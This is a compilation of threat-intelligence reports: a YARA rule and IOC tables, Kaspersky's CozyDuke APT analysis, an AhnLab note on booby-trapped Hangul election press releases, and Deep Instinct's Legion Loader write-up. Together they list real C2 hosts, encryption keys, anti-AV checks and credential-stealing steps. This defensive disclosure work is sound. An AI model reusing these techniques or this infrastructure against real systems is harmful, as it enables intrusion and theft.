6E 20 50 46 53 20 B9 66 64 65 s3 ViGuuaGre s4 6seaIdFiYdA condition: (uint16(0) 0x5A4D) and filesize 2MB and ( cert or 2 of (s) ) Indicators MALWARE FAMILY Indicator TERMITE/BEACON irrislaha[. ]com BEACON leptengthinete[. ]com BEACON siagevewilin[. ]com BEACON surnbuithe[. ]com TERMITE 64.235.39[. ]82 BEACON 64.52.169[. ]174 11/12 Suspect certificate 144.172.83[. ]13 BEACON 190.114.254[. ]116 BEACON 185.153.199[. ]164 TERMITE 45.32.229[. ]66 BEACON 23.227.197[. ]229 Packer imphash 2322896bcde6c37bf4a87361b576de02 Packer cert CN FDFWJTORFQVNXQHFAH Packer cert md5 5c00466f092b19c85873848dcd472d6f MALWARE FAMILY MD5 SHA1 SHA256 BUGHATCH 72a60d799ae9e4f0a3443a2f96fb4896 a304497ff076348e098310f530779002a326c264 6d5ca42906c60caa7d3e0564b0 BUGHATCH bda33efc53c202c99c1e5afb3a13b30c e6ea0765b9a8cd255d587b92b2a80f96fab95f15 101b3147d404150b3c0c882ab86 BUGHATCH e78ed117f74fd7441cadc3ea18814b3e 6da8a4a32a4410742f626376cbec38986d307d5a 9ab05651daf9e8bf3c84b14613cd BUGHATCH ba83831700a73661f99d38d7505b5646 209ffbc8ba1e93167bca9b67e0ad3561c065595d 79d6b1b6b1ecb446b0f49772bf4 WEDGECUT c47372b368c0039a9085e2ed437ec720 4f6ee84f59984ff11147bfff67ab6e40cd7c8525 c443df1ddf8fd8a47af6fbfd0b597 BURNTCIGAR c5e3b725080712c175840c59a37a5daa f347fa07f13c3809e4d2d390e1d16ff91f6dc959 f68cea99e6887739cd82865f9b97 BURNTCIGAR c9d3b29e0b7662dafc6a1839ad54a6fb d0bbbc1866062f9a772776be6b7ef135d6c5e002 4306c5d152cdd86f3506f91633ef BURNTCIGAR 9ca2579117916ded7ac8272b7b47bb98 d1ef60835127e35154a04d0c7f65beee6e790e44 aeb044d310801d546d10b24716 BURNTCIGAR (launcher) 26c09228e76764a2002ba643afeb9415 8247880a1bad73caaeed25f670fc3dad1be0954a 6ce206a1e1224e0a9d296d5fabff TERMITE 98a2e05f4aa648b02540d2e17946da7e e328b5e26a04a13e80e60b4a0405512c99ddb74e 811bb84e1e9f59279f844a040bf6 TERMITE ddf2e657a89ae38f634c4a271345808b b73763c98523e544c0ce0da7db7142f1e039c0a2 d1e14b5f02fb020db4e215cb5c3a TERMITE 95820d16da2d9c4fbb07130639be2143 0a3ac9b182d8f14d9bc368d0c923270eed29b950 a722615c2ee101cde88c7f44fb2 TERMITE 896376ce1bbca1ed73a70341896023e0 f1be87ee03a2fb59d51cb4ba1fe2ece8ddfb5192 671e049f3e2f6b7851ca4e8eed2 TERMITE f51c4b21445a0ece50b1f920648ed726 7c88207ff1afe8674ba32bc20b597d833d8b594a ea5de5558396f66af8382afd98f2 TERMITE 7d4307d310ad151359b025fc5a7fca1a 49cfcecd50fcfcd3961b9d3f8fa896212b7a9527 ad12f38308a85c8792f2f7e1e46a TERMITE b62eec21d9443f8f66b87dd92ba34e85 172f28f61a35716762169d63f207071adf21a54c 9cec82bebe1637c50877ff11de5b TERMITE df0e5d91d0986fde9bc02db38eef5010 922ca12c04b064b35fd01daadf5266b8a2764c32 6cd25067316f8fe013792697f2f5 12/12 TERMITE 46b977a0838f4317425df0f2e1076451 39381976485fbe4719e4585f082a5252feedbcfd 13d333d5e3c1dd6c33dfa8fc76de TERMITE 8c4341a4bde2b6faa76405f57e00fc48 4f3a1e917f67293578b7e823bca35c4dff923386 df89d3d1f795a77eefc14f035681 TERMITE d5679f47d22c7c0647038ce6f54352e4 d9030bdbd0cb451788eaa176a032aa83cf7604c0 728a2d5dd2bf9c707431ff68e94c TERMITE e77af544cc9d163d81e78b3c4da2eee5 3ead9dd8c31d8cfb6cc53e96ec37bdcfdbbcce78 7f357ab4ac225e14a6967f89f209 TERMITE 98b2fff45a9474d61c1bd71b7a60712b 3b0ec4b6ad3cf558cac6b2c6e7d8024c438cfbc5 7b2144f2b5d722a1a8a0c47a43e TERMITE 9a0a2f1dc7686983843ee38d3cab448f 363dc3cf956ab2a7188cf0e44bffd9fba766097d 03249bf622c3ae1dbed8b14cfaa8 TERMITE fb6da2aa2aca0ce2e0af22b2c3ba2668 55b89bad1765bbf97158070fd5cbf9ea7d449e2a 1842ddc55b4bf9c71606451d404 COLDDRAW 3e96efd37777cc01cabb3401485297aa f008e568c313b6f41406658a77313f89df07017e bcf0f202db47ca671ed614604079 COLDDRAW 73c0f0904105b4c220c25f64506ea986 7ef1f5946b25f56a97e824602c58076e4b1c10b6 e35593fab92606448ac4cac6cd2 COLDDRAW 20a04e7fc12259dfd4172f5232ed5ccf 82f194e6baeef6eefb42f0685c49c1e6143ec850 482b160ee2e8d94fa6e4749f77e Exchange Payload test.hta becdcaa3a4d933c13427bb40f9c1cfbb ee883ec4b7b7c1eba7200ee2f9f3678f67257217 6c4b57fc995a037a0d60166dead BEACON c0e88dee5427aae6ce628b48a6d310a7 fd4c478f1561db6a9a0d7753741486b9075986d0 44a4ce7b5d2e154ec802a67ef14 BEACON bb2a2818e2e4514507462aadea01b3d7 8fec34209f79debcd9c03e6a3015a8e3d26336bb 6e66caaa12c3cafd1dc3f8c63053 BEACON 48f8cd5e42cdf06d5a520ab66a5ae576 0d0ac944b9c4589a998b5032d208a16e63db5817 d8df1a4d59a0382b367fd6936cce 4/21/2015 The CozyDuke APT - Securelist https://www.evernote.com/shard/s170/nl/19724058/59b535d9-1b13-4c1b-9fbc-22386837eae5/?csrfBusterTokenU3D12cf71a3AP3D2F3A 1/10 The CozyDuke APT - Securelist securelist.com Updated Apr 21st, 2015 The CozyDuke APT CozyDuke (aka CozyBear, CozyCar or Office Monkeys) is a threat actor that became increasingly active in the 2nd half of 2014 and hit a variety of targets. The White House and Department of State are two of the most spectacular known victims. The operation presents several interesting aspects blatantly sensitive high profile victims and targets crypto and anti-detection capabilities strong malware functional and structural similarities mating this toolset to early MiniDuke second stage components, along with more recent CosmicDuke and OnionDuke components The actor often spearphishes targets with e-mails containing a link to a hacked website. Sometimes it is a high profile, legitimate site such as diplomacy.pl, hosting a ZIP archive. The ZIP archive contains a RAR SFX which installs the malware and shows an empty PDF decoy. In other highly successful runs, this actor sends out phony flash videos directly as email attachments. A clever example is Office Monkeys LOL Video.zip. The executable within not only plays a flash video, but drops and runs another CozyDuke executable. These videos are quickly passed around offices with delight while systems are infected in the background silently. Many of this APTs components are signed with phony Intel and AMD digital certificates.
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Recent Cozyduke APT activity attracted significant attention in the news: Sources: State Dept.
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data/reports_final/0294.txt
Recent Cozyduke APT activity attracted significant attention in the news: Sources: State Dept. hack the worst ever White House computer network hacked Three Months Later, State Department Hasnt Rooted Out Hackers http://securelist.com/blog/69731/the-cozyduke-apt/ 4/21/2015 The CozyDuke APT - Securelist https://www.evernote.com/shard/s170/nl/19724058/59b535d9-1b13-4c1b-9fbc-22386837eae5/?csrfBusterTokenU3D12cf71a3AP3D2F3A 2/10 Three Months Later, State Department Hasnt Rooted Out Hackers State Department shuts down its e-mail system amid concerns about hacking Lets examine a smattering of representative CozyDuke files and data. There is much to their toolset. Office Monkeys dropper analysis The droppers and spyware components often maintain fairly common characteristics 68271df868f462c06e24a896a9494225,Office Monkeys LOL Video.zip Believe it or not, recipients in bulk run the file within: 95b3ec0a4e539efaa1faa3d4e25d51de,Office Monkeys (Short Flash Movie).exe This file in turn drops two executables to temp 2aabd78ef11926d7b562fd0d91e68ad3, Monkeys.exe 3d3363598f87c78826c859077606e514, player.exe It first launches Monkeys.exe, playing a self-contained, very funny video of white-collar tie wearing chimpanzees working in a high rise office with a human colleague. It then launches player.exe, a CozyDuke dropper maintaining anti-detection techniques: 3d3363598f87c78826c859077606e514,338kb,player.exe,Trojan. Win32.CozyBear.v,CompiledOn:2014.07. 02 21:13:33 The file collects system information, and then invokes a WMI instance in the root\securitycenter namespace to identify security products installed on the system, meaning that this code was built for x86 systems, wql here: SELECT FROM AntiVirusProduct SELECT FROM FireWallProduct The code hunts for several security products to evade: CRYSTAL KASPERSKY SOPHOS DrWeb AVIRA COMODO Dragon In addition to the WMI/wql use, it also hunts through the SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\ registry key looking for security products to avoid. Following these checks, it drops several more malware files signed with the pasted AMD digital signature to a directory it creates. These files are stored within an 217kb encrypted cab file in the droppers resources under the name A. The cab file was encrypted and decrypted using a simple xor cipher with a rotating 16 byte key: \x36\x11\xdd\x08\xac\x4b\x72\xf8\x51\x04\x68\x2e\x3e\x38\x64\x32. The cab file is decompressed and its contents are created on disk. These dropped files bundle functionality for both 64bit and 32bit Windows systems: C:\Documents and Settings\user\Application Data\ATI_Subsystem\ 6761106f816313394a653db5172dc487,54kb,amdhcp32.dll 32bit dll,CompiledOn:2014.07.02 21:13:24 d596827d48a3ff836545b3a999f2c3e3,60kb,aticaldd.dll 64bit dll,CompiledOn:2014.07.02 21:13:26 bc626c8f11ed753f33ad1c0fe848d898,285kb,atiumdag.dll 32bit dll, 279kb, Trojan. Win32.CozyDuke.a, CompiledOn:2014.07.02 21:13:26 4152e79e3dbde55dcf3fc2014700a022,6kb,racss.dat The code copies rundll32.exe from windows\system32 to its newly created appdata\ATI_Subsystem 4/21/2015 The CozyDuke APT - Securelist https://www.evernote.com/shard/s170/nl/19724058/59b535d9-1b13-4c1b-9fbc-22386837eae5/?csrfBusterTokenU3D12cf71a3AP3D2F3A 3/10 The code copies rundll32.exe from windows\system32 to its newly created appdata\ATI_Subsystem subdirectory as amdocl_as32.exe alongside the three dlls listed above. It runs atiumdag.dll with two parameter values, its only export and an arbitrary pid, i.e. : C:\Documents and Settings\user\Application Data\ATI_Subsystem\amdocl_as32.exe C:\Documents and Settings\user\Application Data\ATI_Subsystem\atiumdag.dll, ADL2_ApplicationProfiles_System_Reload 1684 This dll is built with anti-AV protections as well. However, it looks for a different but overlapping set, and the random duplication suggests that this component was cobbled together with its dropper, partly regionally based on target selection. KASPERSKY The code collects information about the system efd5aba3-6719-4655-8a72-1aa93feefa38C:\Documents and Settings\user\Application Data\ATI_Subsystem\amdocl_as32exeMyPCuserMicrosoft Windows XP 512600 SP 30 x32Admin192.60.11.1008:11:17:f2:9a:efSophos Anti-Virus Finally, this process beacons to www.sanjosemaristas.com, which appears to be a site that has been compromised and misused multiple times in the past couple of years. hxxp://www.sanjosemaristas.com/app/index.php?A01BA0AD-9BB3-4F38-B76B-A00AD11CBAAA, providing the current network adapters service name GUID. It uses standard Win32 base cryptography functions to generate a CALG_RC4 session key to encrypt the collected data communications and POSTs it to the server. Executable-Signing Certificates Samples are usually signed with a fake certificate - weve seen two instances, one AMD and one Intel: Configuration files: Some of the malware uses an encrypted configuration file which is stored on disk as racss.dat. This is encrypted by RC4, using key 0xb5, 0x78, 0x62, 0x52, 0x98, 0x3e, 0x24, 0xd7, 0x3b, 0xc6, 0xee, 0x7c, 4/21/2015 The CozyDuke APT - Securelist https://www.evernote.com/shard/s170/nl/19724058/59b535d9-1b13-4c1b-9fbc-22386837eae5/?csrfBusterTokenU3D12cf71a3AP3D2F3A 4/10 0xb9, 0xed, 0x91, 0x62. Heres how it looks decrypted: CCs: 121.193.130.170:443/wp-ajax.php 183.78.169.5:443/search.php 200.119.128.45:443/mobile.php 200.125.133.28:443/search.php 200.125.142.11:443/news.php 201.76.51.10:443/plugins/json.php 202.206.232.20:443/rss.php 202.76.237.216:443/search.php 203.156.161.49:443/plugins/twitter.php 208.75.241.246:443/msearch.php 209.40.72.2:443/plugins/fsearch.php 210.59.2.20:443/search.php 208.77.177.24:443/fsearch.php www.getiton.hants.org.uk:80/themes/front/img/ajax.php www.seccionpolitica.com.ar:80/galeria/index.php 209.200.83.43/ajax/links.php 209.200.83.43/ajax/api.php 209.200.83.43/ajax/index.php 209.200.83.43/ajax/error.php 209.200.83.43/ajax/profile.php 209.200.83.43/ajax/online.php 209.200.83.43/ajax/loader.php 209.200.83.43/ajax/search.php Second stage malware and communications: 4/21/2015 The CozyDuke APT - Securelist https://www.evernote.com/shard/s170/nl/19724058/59b535d9-1b13-4c1b-9fbc-22386837eae5/?csrfBusterTokenU3D12cf71a3AP3D2F3A 5/10 The attackers send commands and new modules to be executed to the victims through the CCs. The CC scripts store these temporarily until the next victim connects in local files. Weve identified two such files: settings.db sdfg3d.db Heres how such a database file appears: These are BASE64 encoded and use the same RC4 encryption key as the malware configuration. Decoding them resulted in the following payloads: 59704bc8bedef32709ab1128734aa846 ChromeUpdate.ex_ 5d8835982d8bfc8b047eb47322436c8a cmd_task.dll e0b6f0d368c81a0fb197774d0072f759 screenshot_task.dll Decoding them also resulted in a set of tasking files maintaining agent commands and parameter values: conf.xml And a set of reporting files, maintaining stolen system info, error output, and AgentInfo output, from victim systems: DCOM_amdocl_ld_API_.raw Util_amdave_System_.vol Last_amdpcom_Subsystem_.max Data_amdmiracast_API_.aaf 7.txt screenshot_task.dll is a 32-bit dll used to take a screenshot of the full desktop window and save it as a bitmap in temp. The number of times the screenshot is repeated is configurable within the xml task file. cmd_task.dll is a 32-bit dll that maintains several primitives. It is used to create new processes, perform as a command line shell, and several other tasks. Each of these payloads is delivered together with a configuration file that explains how to run it, for instance: 4/21/2015 The CozyDuke APT - Securelist https://www.evernote.com/shard/s170/nl/19724058/59b535d9-1b13-4c1b-9fbc-22386837eae5/?csrfBusterTokenU3D12cf71a3AP3D2F3A 6/10 Furthermore, ChromeUpdate is a 64-bit executable (which appears to be a WEXTRACT package) that oddly drops a 32-bit Dll. Cache.dll is simply stored as a cabinet file in the ChromeUpdates resource section. ChromeUpdate.exe starts the file with rundll32 cache.dll,ADB_Setup Cache.dll analysis Cache.dll was written in C/C and built with a Microsoft compiler. Cache.dll code flow overview rc4 decrypt hardcoded c2 and urls resolve hidden function calls collect identifying victim system data encrypt collected data send stolen data to c2 and retrieve commands Cache.dll code details Structurally, cache.dll is a fairly large backdoor at 425kb. It maintains both code and data in the raw, encrypted blobs of data to be decrypted and used at runtime, and hidden functionality that isnt exposed until runtime. No pdb/debug strings are present in the code. It maintains eight exports, including DllMain: ADB_Add ADB_Cleanup ADB_Initnj ADB_Load ADB_Release ADB_Remove ADB_Setup ADB_Setup is a entry point that simply spawns another thread and waits for completion. 4/21/2015 The CozyDuke APT - Securelist https://www.evernote.com/shard/s170/nl/19724058/59b535d9-1b13-4c1b-9fbc-22386837eae5/?csrfBusterTokenU3D12cf71a3AP3D2F3A 7/10 Above, we see a new thread created with the start address of Cache.dll export ADB_Load by the initial thread. This exported function is passed control while the initial thread runs a Windows message loop. It first grabs an encrypted blob stored away in a global variable and pulls out 381 bytes of this encrypted data: The standard win32 api CryptDecrypt uses rc4 to decrypt this blob into a hardcoded c2, url path, and url parameters listed below with a simple 140-bit key \x8B\xFF\x55\x8B\xEC\x83\xEC\x50\xA1\x84\x18\x03\x68\x33\xC9\x66\xF7\x45\x10\xE8\x1F\x89\x45\xF C\x8B\x45\x14\x56. 4/21/2015 The CozyDuke APT - Securelist https://www.evernote.com/shard/s170/nl/19724058/59b535d9-1b13-4c1b-9fbc-22386837eae5/?csrfBusterTokenU3D12cf71a3AP3D2F3A 8/10 The code then decodes this set of import symbols and resolves addresses for its networking and data stealing functionality: InternetCloseHandle InternetReadFile HttpSendRequestA HttpOpenRequestA HttpQueryInfoA InternetConnectA InternetCrackUrlA InternetOpenA InternetSetOptionW GetAdaptersInfo Much like the prior office monkey atiumdag.dll component, this code collects identifying system information using standard win32 API calls: Computer name - GetComputerNameW User name - GetUserNameW Adapter GUID, ip address, mac address - GetAdaptersInfo Windows version - GetVersionExW It then uses the runtime resolved networking API calls to send the collected data back to a hardcoded c2 and set of urls. Cache.dll connectback urls: 209.200.83.43/ajax/links.php 209.200.83.43/ajax/api.php 209.200.83.43/ajax/index.php 209.200.83.43/ajax/error.php 209.200.83.43/ajax/profile.php 209.200.83.43/ajax/online.php 209.200.83.43/ajax/loader.php 209.200.83.43/ajax/search.php Observed user-agent string on the wire, but its dynamically generated based on the Windows system settings (retrieved using standard win32 api ObtainUserAgentString): User-Agent: Mozilla/4.0 (compatible MSIE 6.0 Windows NT 5.1 SV1 .NET CLR 2.0.50727 .NET CLR 3.0.04506.648 .NET CLR 3.5.21022) 4/21/2015 The CozyDuke APT - Securelist https://www.evernote.com/shard/s170/nl/19724058/59b535d9-1b13-4c1b-9fbc-22386837eae5/?csrfBusterTokenU3D12cf71a3AP3D2F3A 9/10 3.0.04506.648 .NET CLR 3.5.21022) Connections with MiniDuke/CosmicDuke/OnionDuke: One of the second stage modules of Cozy Bear, Show.dll, is particularly interesting because it appears to have been built onto the same platform as OnionDuke.
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Below we compare Show.dll with the OnionDuke sample MD5: c8eb6040fd02d77660d19057a38ff769.
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data/reports_final/0295.txt
Below we compare Show.dll with the OnionDuke sample MD5: c8eb6040fd02d77660d19057a38ff769. Both have exactly the same export tables and appear to be called internally UserCache.dll: This seems to indicate the authors of OnionDuke and Cozy Bear are the same, or working together. Another interesting comparison of two other files matches a recent second stage tool from the CozyDuke attacks with a second stage component from other Miniduke/Onionduke attacks. 2e0361fd73f60c76c69806205307ccac, update.dll (Miniduke), 425kb (internal name UserCache.dll) 9e3f3b5e9ece79102d257e8cf982e09e, cache.dll (Cozyduke), 425kb (internal name UserCache.dll) The two share identical export function names in their export directories, and the naming appears to be randomly assigned at compile time. The table below presents the function matches based on size data, but the calls, jmps and code all match as well. The contents of only one of these exports in update.dll has no match whatsoever in cache.dll. 4/21/2015 The CozyDuke APT - Securelist https://www.evernote.com/shard/s170/nl/19724058/59b535d9-1b13-4c1b-9fbc-22386837eae5/?csrfBusterTokenU3D12cf71a3AP3D2F3 10/10 Evernote makes it easy to remember things big and small from your everyday life using your computer, tablet, phone and the web. Terms of Service Privacy Policy Unlike the atiumdag.dll file above, however, cache.dll and update.dll do not maintain anti-AV and anti- analysis functionality sets. Perhaps they plan to pair this stealer with another dropper that maintains the WMI anti-AV functionality. We expect ongoing and further activity from this group in the near future and variations on the malware used in previous duke-ish incidents. For more information about MiniDuke, CosmicDuke and OnionDuke, please see References. Appendix: Parallel and Previous Research The MiniDuke Mystery: PDF 0-day Government Spy Assembler 0x29A Micro Backdoor, Securelist, Feb 2013 Miniduke is back: Nemesis Gemina and the Botgen Studio, Securelist, July 2014 MiniDuke 2 (CosmicDuke), CrySyS, July 2014 COSMICDUKE Cosmu with a twist of MiniDuke [pdf], F-Secure, September 2014 THE CASE OF THE MODIFIED BINARIES, Leviathan Security, October 2014 A word on CosmicDuke, Blazes Security Blog, September 2014 OnionDuke: APT Attacks Via the Tor Network, F-Secure, November 2014 The Connections Between MiniDuke, CosmicDuke and OnionDuke, F-Secure, January 2015 https://evernote.com/tos/ https://evernote.com/privacy/ 1/4 March 3, 2022 Distribution of malicious Hangul documents disguised as press releases for the 20th presidential election onboard voting asec.ahnlab.com/ko/32330 Ahead of the presidential election, the ASEC analysis team confirmed that malicious Korean documents disguised as press release on board the 20th presidential election were being distributed. The attacker distributed the malicious Korean document on February 28th, and the malicious document was not secured, but according to the companys AhnLab Smart Defense (ASD) infrastructure log, it is estimated that the batch file is driven through the internal OLE object to execute PowerShell. . Distribution file name: Press release (220228)_March_1st___March_4th_20th_Presidential Election_Shipboard Voting_Conducted (final).hwp [Figure 1] shows the batch file path and Korean file name confirmed in the infrastructure. While the same normal Korean document size is 2.06 MB, the malicious Korean document is 2.42 MB, and it seems that the document was created by inserting an additional BAT file inside. [ Figure 1] ASD infrastructure collection TEMP\mx6.bat (path of batch file creation) https://asec.ahnlab.com/ko/32330/ 2/4 A similar type of attack was also confirmed on February 7th. According to the article, the attacker impersonated the National Election Commission (NEC) and distributed malicious documents disguised as a normal document titled Public Recruitment of Counting Observers for the 20th Presidential Election. North Korean hackers distributing malicious press releases under the guise of the National Election Commission DailyNK It was found on the 8th that a North Korean hacking organization was distributing hacking e- mails impersonating the National Election Commission (NEC). Considering the fact that the press release distributed by the National Election Commission was used, it is highly likely that the attack is being carried out targeting journalists in the media, so caution is required. The common features of the malicious Hangul documents that were circulated at the time and the documents used in this attack are as follows. Dissemination of malicious Korean documents disguised as the same institution (NEC) 3/4 Inducing Batch File Execution in OLE Object Way A PowerShell command containing a variable name ( kkx9 ) similar to the one used in the NEC impersonation attack on 2/7 ( kk y4 ) Part of the PowerShell command: ( kkx9 [DllImport(user32.dll)] public static extern bool ShowWindow(int handle, int state)) [Figure 2] Some of the collected PowerShell commands [Figure 3] below is a normal Korean document presumed to have been used by the attacker for distribution. [ Figure 3] Normal Korean document (press release (220228)_March_1st___March_4th_20th_Presidential Election_Shipboard Voting_Conduct (final).hwp) 4/4 Normal official Korean documents can be found on the official website of the National Election Commission ( https://www.nec.go.kr/ ), and users should be skeptical when downloading similar documents from an unknown site. https://www.nec.go.kr/cmm/dozen/view.do?cbIdx1090bcIdx164018fileNo1 (Document download address) The attackers seem to be carrying out various attacks impersonating the National Election Commission as the 20th presidential election approaches. AhnLab continues to monitor similar malicious behaviors and will share new information as soon as it becomes available. [ AhnLab V3 product correspondence] [Behavior Detection] Execution/MDP.Powershell. M4208 Related IOCs and related detailed analysis information can be checked through AhnLabs next-generation threat intelligence platform AhnLab TIP subscription service. Categories: Malware information Tagged as: National Election Commission , Korean document https://www.nec.go.kr/ https://www.nec.go.kr/cmm/dozen/view.do?cbIdx1090bcIdx164018fileNo1 https://atip.ahnlab.com/main https://asec.ahnlab.com/ko/category/malware/ https://asec.ahnlab.com/tag/ec84a0eab480ec9c84/ https://asec.ahnlab.com/ko/tag/ed959ceab880ebacb8ec849c/ December 18, 2019 Untangling Legion Loaders Hornet Nest of Malware deepinstinct.com/2019/12/18/untangling-legion-loaders-hornet-nest-of-malware Malware often arrives hand in hand with other malware. Emotet, for example, can deliver TrickBot and TrickBot (which is also in a collaborative relationship with IcedID, a fellow banking malware) can, in turn, deliver Ryuk. This kind of collaborative relationship is becoming increasingly common among many threat actors, and in some cases even leads to actors developing specific modules in order to serve these relationships. In a recent incident at a customer environment, Deep Instinct prevented a malicious dropper from infecting the customers environment. Analysis of the dropper and the campaign it is associated with, revealed it involves multiple types of malware. The quantity and variety of which, earned its reference as a Hornets Nest. Included in this campaign is a grab-bag mix of multiple types of info-stealers, backdoors, a file-less crypto-currency stealer built into the dropper, and occasionally a crypto-miner as well. Such volume and variety are uncommon in the general landscape and are highly suggestive of a dropper-for-hire campaign. Caption: The hornets nest buried within Legion Loader 1/16 https://www.deepinstinct.com/2019/12/18/untangling-legion-loaders-hornet-nest-of-malware/ https://securityintelligence.com/the-business-of-organized-cybercrime-rising-Intergang-collaboration-in-2018/ The Dropper Legion Loader The dropper, which since our initial prevention events has garnered the name of Legion Loader in various network intrusion and emerging-threats rule-sets, a name we find to be very appropriate. Legion Loader is written in MS Visual C 8 (very likely by a Russian speaking individual) and shows signs of being in active development. While Legion Loader features several VM/Sandbox (VMware, VBOX, etc.) and research-tool evasions (Common debuggers, SysInternals utilities, etc. ), in many cases it lacks string obfuscation which allows for fairly straightforward analysis. 2/16 Every dropper in the campaign, which is simultaneously targeted at both the United States and Europe, is intended to deliver 2-3 additional malware executables and features a built- in file-less crypto-currency stealer and browser-credential harvester. Once Legion Loader is running, it initially checks-in with its designated CC server (the servers are rotated frequently, alongside the distributed droppers) and will terminate unless it receives an expected response: 3/16 Caption: Legion Loaders initial CC check-in. Note the rather distinctive User-Agent string, this can vary to other amusing strings such as: It will then continue with an external-IP check: And will proceed to download and execute 2-3 hard-coded payloads, which are usually stored by the CC server and occasionally on a free-hosting resource: Caption: examples of hardcoded payload URLs, targeting US and EU. Once executable payload downloads and execution is complete, Legion Loader will execute a lightly obfuscated PowerShell command that will deliver crypto-currency stealer and browser-credential harvester. 4/16 A Legion of Malware Legion Loaders campaign drew our attention due to the sheer variety of malware it delivers. The majority of this body-of-malware is composed from fairly generic run-of-the-mill info- stealers such as Vidar, Predator the Thief and Racoon stealer, which are commercially available in various cybercrime marketplaces. However, several pieces of malware did stand out among Legion Loaders rank-and-file, among these is its built-in Crypto-Currency stealer, and the other an RDP backdoor. The built-in Crypto-Stealer Following payload delivery Legion Loader will execute a PowerShell command (deobfuscated from above): This will send an HTTP POST request containing the string HorseHours, to the file-less components CC: The CC follows-up with more PowerShell code, designed to sweep the system for desirable articles of theft installed crypto- currency wallets, and stored crypto- currency related credentials: 5/16 If any of these are found, it will make a copy of the operating systems PowerShell executable to a temp directory or to programfiles/Windows Locator/vsdll.exe if it has admin privileges (this is done to circumvent some security mechanisms), and will use it to execute an additional PowerShell snippet, similar to the first, which will again send an HTTP POST request containing HorseHours to the CC: Following this 2 check-in, the CC will issue more PowerShell code that will set-up the stealer. This includes downloading and reflectively loading a .DLL which is used as part of its communication encryption routine: Once the stealer is set-up, it will download and reflectively load a browser credential harvester, the source-code for which can be found on GitHub: nd 6/16 https://github.com/djhohnstein/SharpWeb Finally, the harvested credentials and stolen wallet files are uploaded to the CC server. The RDP Backdoor Another interesting malware we saw deployed by Legion Loader is an RDP-based backdoor. The backdoor, which arrives in the form of an NSIS installer, employs an embedded blowfish .DLL to decrypt strings which form a cmd.exe command which executes a very large embedded PowerShell script entitled premiumlegitJFSQZPTTEU: The embedded premiumlegitJFSQZPTTEU script contains a very large DES encrypted blob which is decrypted and executed: The decrypted code, which employs a code borrowed from Invoke-PsUACme a PowerShell module intended for UAC bypass, contains several gzip-compressed, base64 encoded blobs: 7/16 Caption: DllBytes32/64 variables containing UACme .DLLs which are used in order to bypass UAC. Caption: gzip-compressed, base64 encoded blobs. rdp blob is empty in this example. vmt, clip and cfg blobs contain various ancillaries which are required in order to set up the RDP backdoor. bot bot64 and rdp64 are the malicious payloads. These blobs are decoded and decompressed using a set of contained functions and are deployed by the PowerShell code to programfiles/windows mail/appcache.xml or /default_list.xml, based on the executing machines operating system. While the written files extension is .xml they are actually .DLL files. Caption: contained function react is called to deploy the blob. After the required .DLL containing blob has been deployed, it is registered as a system service: Conclusion Legion Loader is, as mentioned above, very aptly named and is a classic case-in-point of how even a relatively low-sophistication malware can become a security nightmare for an organization, employing more advanced file-less techniques and delivering a myriad of follow-up malware ranging for info-stealers and credential harvesters to crypto-miners and backdoors. 8/16 IOCs Legion Loader Samples (SHA256) 04682cf5670dfd8095d1fc9da7ff89f939c73a16c4ebe52dbff7afe5f1a8b89f 04cc0ee8b070e54522aa198b72b12498f338795b73ab2505004000b7566474df 08f5c172493ddbec42574914f6b504553029a56bf45b137b319f669348081abe 14d49f41892c667d0984db2809894c6d83c4d3c1cc78f1b81c5dc37a0f8c9c1c 1692b57a111f0269f3660cfddc50ff0e6187c79f73ee3cdcd4f337758e9b40ea 1a8076c2b19d84177f2fc06c3ad712794f5276b221c08dc1545e8f8cd3bbdd2a 1f7f9e40009e8fb16713a2d24039139d7ef910ce8d12b19df16172d01eb6110b 220fc8e1c518c7e51b03269a32cabdd18197ea449d57880fb4c45afebbd15971 2335f67565efe39a2fffd77a7c97996401847620a03091ef328505b8f07b0899 261c1a6e120970efc587047be377fee2ca77884b5c7db4cc3849b6adff340d82 262f5901d5463b9d191893b4873cd9e88d3c87f43e91d1f984d956167c063041 2891b08c134238beeb08582e3465d77c0fff2ac4bf2cd67162b7402b7246ace4 28c16cd88f6453a856690e5e2de96c656c404703361c7a9dfed804ec45dd4391 2b61b3b00aa5d548e41dc305cb1271c26dc387601a7a7cdb63600b49c270bb30 2c5266c1053b343bcbd38d7bbfbf4a3b0be3d40b8f57320bed91b5ac26dacf30 2e3fac6fde0e4ea23a1ac808dc11986f62be096971759a36e64b846feb9ddaf9 2f1cb5d0c60b2ab9034ad7ae1ec79e28ddfa5628a90323a013e6285337368dcd 3080858d67dfa757fd27fa4dc3cfd521a8308b8698eeec6fb599fefd7903ef76 32467a0067ea899b925eca0f449f9751973cf1927f7f53df9ef07fa41745bdd1 3933da33446b776c22ea0e84b7cc3e93a122be7960985231027a3be80a068759 3d7442d4210e1422631fb89a19c29f74c75b1bbd8a1355067f8b6d53df8e4e97 40ebd67ff8278c9efc6aa90e9bd4221ed9155369c90ba25bfe699c2d418f6610 9/16 44a7a3f09fec710bf5ce94ae0c1ebf5a1b474d247049cbe5acde33f444ab95c1 474148a9521885361308d9c664ccbfbf523e02d61ee513bdb43e7c94db35eded 477c9070a41e27c715c1edfc75983b08bbd38eed5dbe592e335a59def8805b82 5150c5a557815359e3533781ae58d1c9f270a2f5cfe6353a1a09acb2b651e8d6 54a32aca91c9e377199ac9741b224d5ee09dc4ac67f6177bb4e9f336e5d178b2 62f73e351671b9b17a68f2658a88b810f6595a02e9ef2e55d06fd6fee05932ec 656b988e1b01eb39066d8d91dd5e64b96b75780c5bfb2edad4a9dec21258b01a 6870cd48b741e51187032fb0e3b29171c753cdf781e7585407a900853818bd9a 68ce4c27840a78ddd5d8203d351a2d8951cbe3fc124d8eee4eb9507df9b23355 696985a0b8af5dc318af712c410410c86df46eac80aa15b65e1b9d7a6801b0d6 6a7db2d291545ef2963cc9479406cf412f12d2ffaeed01bf48da7c3f0aa5206c 7308bed122bfdf2e57efa5eabb8191e0d04325d068a9ef731c157df24bb2c053 78d8dc01174f2d53c44b7a560f7ab532c0744136ffa6d9f6e30a09268e4d6214 7bbfeeeaed4234253b93ccd0fee869acbcb3be9cb1619e62e7375c5d072872cf 7f0cfe19a278dcfe60edb4a0b6edf898cf8fabfeda5d24c5bc16ae682c62212a 815fc066119f0ee3e387d4afeade832f43ab67321146258a8cbcddf175089bb3 8272ac4b57a686dea7f56f20703d9be056b2cf2c715e8d9ed475a9f0317acf15 8a213d1ce71dd072d6bbab31fcffdddcef285fe7dbfc04f41b60ad68056f8a95 